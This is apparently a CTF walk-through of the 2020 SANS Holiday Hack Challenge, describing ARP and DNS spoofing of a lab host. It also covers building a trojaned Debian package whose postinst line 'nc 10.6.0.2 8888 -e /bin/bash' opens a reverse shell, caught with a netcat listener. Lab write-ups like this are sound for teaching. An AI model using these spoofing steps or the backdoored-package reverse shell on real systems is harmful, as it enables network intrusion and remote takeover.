Each year, the SANS and Counter Hack Challenges teams put together my favorite capture the flag (CTF) competition, the SANS Holiday Hack Challenge. The 2020 SANS Holiday Hack Challenge, featuring KringleCon 3: French Hens! was held at Santa’s newly renovated castle at the North Pole from December 10, 2020 to January 11, 2021. This is a walk-through for an objective from the event.
Objective 9) Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?
Upon logging into the host, I learned that Jack Frost had hijacked the host at
10.6.6.35 with custom malware and my job was to regain command line access to that host. I started by using
tcpdump to listen to the traffic on the host to see what I could learn about the compromised host at
10.6.6.35. I observed the compromised making an ARP request to see where the system
10.6.6.53 was located. It seemed likely that
10.6.6.53 was Jack Frost’s command and control system and this was the malware calling out.
To confirm this theory, I attempted to spoof the ARP response and direct future traffic to my own system to see what data was sent to or expected from the command and control system. To accomplish this, I used the
arp_resp.py file located in the scripts directory as a template. Below shows the changes I made to accomplish my ARP spoofing.
To make these changes, I first had to look up the MAC address of the
10.6.6.35 system to see where to send the response to. I did this by using the command
tcpdump -nn -i eth0 -c1 -e to isolate a single ARP request packet and display the mac address instead of IP address. This revealed that the MAC address of the compromised host is
4c:24:57:ab:ed:84. I filled this information into the destination field at the ethernet layer and in the arp_response hardware destination field.
Next, I filled in the appropriate IP addresses in the arp_response object. The source is
10.6.6.53, meaning that the ARP response is coming from that host. While the response is really coming from my host, I put the
10.6.6.53 IP there since that is the IP I was spoofing. In the destination field, I used the IP of the compromised host since that is where the ARP response is going to.
Next, I populated both the source of the Ether layer and the psrc field in the arp_response with my own mac address since I was spoofing
10.6.6.53. I wanted the compromised host to think that
10.6.6.53 sat at my mac address instead of its own. The script conveniently pulled out the mac address of my terminal and stored it in a variable named
macaddr so I used that variable to ensure that my script would work each time I ran it, even if I ran it in a new terminal days later.
Finally, I populated the remaining fields op, plen, hwlen, ptype, and hwtype. Most of these followed the default values for an ARP response. Op had a value of 2 because that indicated that a response was being sent instead of a reply. Plen was assigned to 4 because it represents the number of octets in the psrc and pdst fields IPv4 contains 4 octets. Similarly, hwlen was set to the number 6 because the hwsrc and hwdst fields contained mac addresses which have 6 octets. Ptype got a value of 0x0800 because this is the standard value in an ARP request when routing via IPv4. Finally, hwtype got a value of 1 because this is the default value when using ethernet as the layer 2 protocol. I was able to determine many of these default values by looking at the sample packet provided in the help document and confirmed the values by viewing Wikipedia’s very detailed specs on ARP packets.
With my script completed, I started the tcpdump listener again and then ran my script with the updates listed above. My ARP response was successful and I was able to see that the compromised host then came back and requested a DNS lookup for
ftp.osuosl.org immediately following my successful spoof.
The DNS request was requesting an A record, which meant it was expecting to have the IP address returned for the system that is hosting
ftp.osuosl.org. Next, I began working on a DNS response packet to send in response to this to see what the compromised host would request from that host. To do this, I began using the
dns_resp.py script provided in the scripts folder as a template. Below are the changes I made to the script to make this work.
Once again, the script automatically pulled out the mac address and IP address of my current terminal. I decided to use them whenever possible to ensure that my script could run across various terminal instances. Additionally, I decided to use as much information as possible from the packet that was received. The script listens to the network traffic on port 53 (DNS) for a DNS request. It collects the first DNS request it sees and passes that packet to the
handle_dns_request function that I altered above which ultimately ends up sending the crafted response packet. Since information can change about the received DNS request, such as source port and the query itself, I pulled the information out of the request packet wherever possible.
First, I updated the Ether layer, providing my mac address as the source and the compromised hosts mac address as the destination.
Next, I updated the IP layer. Since the request included a source and destination IP, the response should reflect those. The source of the response should match the destination of the request and vice versa with the destination. Thus, I updated the IP layer by pulling the source and destination IP from the request packet. Note that in this setup, the source IP in the response that I sent was
10.6.6.53. This was not a problem, though, since the compromised host thought that
10.6.6.53 existed at my mac address. In fact, this was needed because the compromised host was expecting a response from
10.6.6.53 and not from my IP. I did the same with the UDP layer, passing in the source and destination ports using the data provided in the captured packet.
Finally, I updated the DNS layer with all the information needed. Most of these fields are documented in comments in the code above, and only key pieces will be highlighted here. In general, I found the correct fields by looking at the scapy documentation for the DNS layer, looking at the documentation on Wikipedia for the DNS message format, and reviewing the sample packet provided in the help document on the terminal. The most important part of this was the query, stored in the qd field. The qname field reflects the DNS name that was being looked up. The qtype reflects that an A record was being returned.
When the script was completed, I returned to the terminal and ran this script to begin listening for the DNS packet. I also turned on tcpdump and then ran the ARP spoof script again. The two screenshots below show that I was able to successfully send the DNS response and then the compromised host came back and tried to connect on port 80 to my host.
Using the help guide again, I launched a web server on port 80 via python to see what was being requested in that communication. Then I ran everything again. From the Python Web server, I was able to see that the compromised host was requesting the resource
Since the host was requesting a deb file, which is a Debian Linux installer package, there was a good chance whatever file was received would be installed on the compromised host. I used one of the hints provided to create a specially crafted Debian installer that called back to my host in order to get command line access to the compromised host. To call back, I used
netcat. Since I didn’t know if
netcat was installed on the compromised host, I used
netcat as the Debian package that I built my crafted package from.
I extracted the
netcat-traditional_1.10–41.1ubuntu1_amd64.deb file located in the
debs folder on the terminal. Then I copied the necessary files from it into a working directory as explained in the guide provided in the hint linked above. I added to the following payload to the
postinst file to ensure it was run after
netcat was installed on the system:
nc 10.6.0.2 8888 -e /bin/bash. I packaged the file back up again, and saved it under
/debs/pub/jfrost/backdoor/suriv_amd64.deb to ensure that it would be found in the correct location when queried. Then I changed directories back into
/debs and started the python web server again. Next I started a
netcat listener on my own system using the command
nc -lvp 8888. I ran the dns spoofer and the arp spoofer and was able to get command line access to the host.
Next, I confirmed that the file in question was in the current directly by using the
ls command to list the contents of the directory.
Finally, I catted out the file to view the contents and see that Tanta Kringle is the elf that recused herself from the vote.
Objective 8 Answer:
Interested in learning more about the 2020 SANS Holiday Hack Challenge? Check out my other walk-throughs available here.